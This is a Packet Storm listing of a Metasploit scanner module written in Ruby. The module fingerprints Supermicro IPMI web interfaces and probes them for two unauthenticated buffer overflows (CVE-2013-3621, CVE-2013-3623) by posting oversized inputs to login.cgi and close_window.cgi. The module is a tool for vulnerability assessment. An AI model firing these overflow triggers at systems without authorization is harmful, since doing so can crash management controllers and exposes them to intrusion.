exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Supermicro Onboard IPMI CGI Scanner

Supermicro Onboard IPMI CGI Scanner
Posted Sep 1, 2024
Authored by H D Moore, juan vazquez | Site metasploit.com

This Metasploit module checks for known vulnerabilities in the CGI applications of Supermicro Onboard IPMI controllers. These issues currently include several unauthenticated buffer overflows in the login.cgi and close_window.cgi components.

tags | exploit, overflow, cgi, vulnerability
advisories | CVE-2013-3621, CVE-2013-3623
SHA-256 | 25146ab0a527b2c20a4d174368a8756c57f0f973644733c599eb8239270f30b0

Supermicro Onboard IPMI CGI Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'Supermicro Onboard IPMI CGI Vulnerability Scanner',
'Description' => %q{
This module checks for known vulnerabilities in the CGI applications of
Supermicro Onboard IPMI controllers. These issues currently include
several unauthenticated buffer overflows in the login.cgi and close_window.cgi
components.
},
'Author' =>
[
'hdm', # Discovery and analysis
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3621' ],
[ 'CVE', '2013-3623' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/']
],
'DisclosureDate' => '2013-11-06'))

end

def is_supermicro?
res = send_request_cgi(
{
"uri" => "/",
"method" => "GET"
})

if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./
return true
else
return false
end
end

def send_close_window_request(sess)
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi/close_window.cgi",
'encode_params' => false,
'vars_post' => {
'sess_sid' => sess
}
})

return res
end

def check_close_window
safe_check = Rex::Text.rand_text_alpha(20)
trigger_check = Rex::Text.rand_text_alpha(132)

res = send_close_window_request(safe_check)

unless res and res.code == 200 and res.body.to_s =~ /Can't find action/
return false
end

res = send_close_window_request(trigger_check)

unless res and res.code == 500
return false
end

return true
end

def send_login_request(name)
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi/login.cgi",
'encode_params' => false,
'vars_post' => {
'name' => name,
'pwd' => Rex::Text.rand_text_alpha(4)
}
})

return res
end


def check_login
safe_check = Rex::Text.rand_text_alpha(20)
trigger_check = Rex::Text.rand_text_alpha(300)

res = send_login_request(safe_check)

unless res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./ and res.body.to_s =~ /top\.location\.href = location\.href/
return false
end

res = send_login_request(trigger_check)

unless res and res.code == 500
return false
end

return true
end


def run_host(ip)
vprint_status("Checking if it's a Supermicro IPMI web interface...")
if is_supermicro?
vprint_good("Supermicro IPMI web interface found")
else
vprint_error("Supermicro IPMI web interface not found")
return
end

vprint_status("Checking CVE-2013-3621 (login.gi Buffer Overflow) ...")
result = check_login
if result
print_good("Vulnerable to CVE-2013-3621 (login.cgi Buffer Overflow)")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Supermicro Onboard IPMI login.cgi Buffer Overflow",
:refs => self.references.select do |ref| ref.ctx_val == "2013-3621" end
})
end

vprint_status("Checking CVE-2013-3623 (close_window.gi Buffer Overflow) ...")
result = check_close_window
if result
print_good("Vulnerable to CVE-2013-3623 (close_window.cgi Buffer Overflow)")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Supermicro Onboard IPMI close_window.cgi Buffer Overflow",
:refs => self.references.select { |ref| ref.ctx_val == "2013-3623" }
})
end

end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close